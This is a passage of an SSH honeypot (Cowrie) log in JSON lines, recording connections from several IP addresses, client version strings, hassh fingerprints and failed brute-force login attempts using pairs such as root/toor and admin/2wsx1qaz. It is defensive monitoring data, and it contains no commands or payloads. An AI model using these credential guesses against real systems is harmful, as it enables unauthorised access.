01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:42.216459Z","src_ip":"80.66.85.226","session":"469f59414095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nbvjif","message":"login attempt [root/nbvjif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:42.531804Z","src_ip":"80.66.85.226","session":"469f59414095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:42.932386Z","src_ip":"103.27.238.114","session":"f82b1d612cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:43.625375Z","src_ip":"80.66.85.226","session":"469f59414095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:44.200813Z","src_ip":"103.27.238.114","session":"f82b1d612cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":47334,"dst_ip":"159.203.135.109","dst_port":22,"session":"aca4498cda7b","protocol":"ssh","message":"New connection: 43.135.182.46:47334 (159.203.135.109:22) [session: aca4498cda7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:47.331054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:47.336472Z","src_ip":"43.135.182.46","session":"aca4498cda7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:47.405410Z","src_ip":"43.135.182.46","session":"aca4498cda7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ggwooollqwe123","message":"login attempt [root/ggwooollqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:47.713674Z","src_ip":"43.135.182.46","session":"aca4498cda7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:48.786320Z","src_ip":"43.135.182.46","session":"aca4498cda7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":33404,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf94e2968da7","protocol":"ssh","message":"New connection: 202.79.29.108:33404 (159.203.135.109:22) [session: bf94e2968da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:11.564501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:11.569599Z","src_ip":"202.79.29.108","session":"bf94e2968da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:11.833359Z","src_ip":"202.79.29.108","session":"bf94e2968da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8866","message":"login attempt [root/8866] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:12.918044Z","src_ip":"202.79.29.108","session":"bf94e2968da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:14.192921Z","src_ip":"202.79.29.108","session":"bf94e2968da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":42794,"dst_ip":"159.203.135.109","dst_port":22,"session":"e538f81d90dd","protocol":"ssh","message":"New connection: 72.17.34.38:42794 (159.203.135.109:22) [session: e538f81d90dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:15.179844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:15.188085Z","src_ip":"72.17.34.38","session":"e538f81d90dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:15.223959Z","src_ip":"72.17.34.38","session":"e538f81d90dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48915,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0ddb13a61af","protocol":"ssh","message":"New connection: 2.57.121.112:48915 (10.17.0.5:22) [session: e0ddb13a61af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:15.369641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:15.375374Z","src_ip":"2.57.121.112","session":"e0ddb13a61af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:15.397946Z","src_ip":"72.17.34.38","session":"e538f81d90dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:15.485291Z","src_ip":"2.57.121.112","session":"e0ddb13a61af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300393","message":"login attempt [admin/300393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:15.982311Z","src_ip":"2.57.121.112","session":"e0ddb13a61af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:16.436783Z","src_ip":"72.17.34.38","session":"e538f81d90dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":51678,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d3b815f6faa","protocol":"ssh","message":"New connection: 209.99.184.143:51678 (159.203.135.109:22) [session: 2d3b815f6faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:16.553774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:16.562129Z","src_ip":"209.99.184.143","session":"2d3b815f6faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:16.658781Z","src_ip":"209.99.184.143","session":"2d3b815f6faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:17.076878Z","src_ip":"209.99.184.143","session":"2d3b815f6faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300381","message":"login attempt [admin/300381] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:17.089741Z","src_ip":"2.57.121.112","session":"e0ddb13a61af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:18.176463Z","src_ip":"209.99.184.143","session":"2d3b815f6faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30031998","message":"login attempt [admin/30031998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:18.202816Z","src_ip":"2.57.121.112","session":"e0ddb13a61af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30031978","message":"login attempt [admin/30031978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:19.310833Z","src_ip":"2.57.121.112","session":"e0ddb13a61af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2wsx1qaz","message":"login attempt [admin/2wsx1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:20.420946Z","src_ip":"2.57.121.112","session":"e0ddb13a61af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:46:21.531386Z","src_ip":"2.57.121.112","session":"e0ddb13a61af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":42658,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdff1f7079d7","protocol":"ssh","message":"New connection: 62.133.63.178:42658 (159.203.135.109:22) [session: fdff1f7079d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:12.125822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:12.131122Z","src_ip":"62.133.63.178","session":"fdff1f7079d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:12.256474Z","src_ip":"62.133.63.178","session":"fdff1f7079d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqqqq","message":"login attempt [root/qqqqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:12.629685Z","src_ip":"62.133.63.178","session":"fdff1f7079d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":40754,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b2afe66ecde","protocol":"ssh","message":"New connection: 43.135.182.46:40754 (159.203.135.109:22) [session: 8b2afe66ecde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:13.585629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:13.594722Z","src_ip":"43.135.182.46","session":"8b2afe66ecde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:13.664372Z","src_ip":"43.135.182.46","session":"8b2afe66ecde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:13.756010Z","src_ip":"62.133.63.178","session":"fdff1f7079d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carlos1","message":"login attempt [root/carlos1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:13.971647Z","src_ip":"43.135.182.46","session":"8b2afe66ecde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:15.044720Z","src_ip":"43.135.182.46","session":"8b2afe66ecde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":60126,"dst_ip":"159.203.135.109","dst_port":22,"session":"03a6b4fa6b35","protocol":"ssh","message":"New connection: 209.99.184.143:60126 (159.203.135.109:22) [session: 03a6b4fa6b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:16.776574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:16.781697Z","src_ip":"209.99.184.143","session":"03a6b4fa6b35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-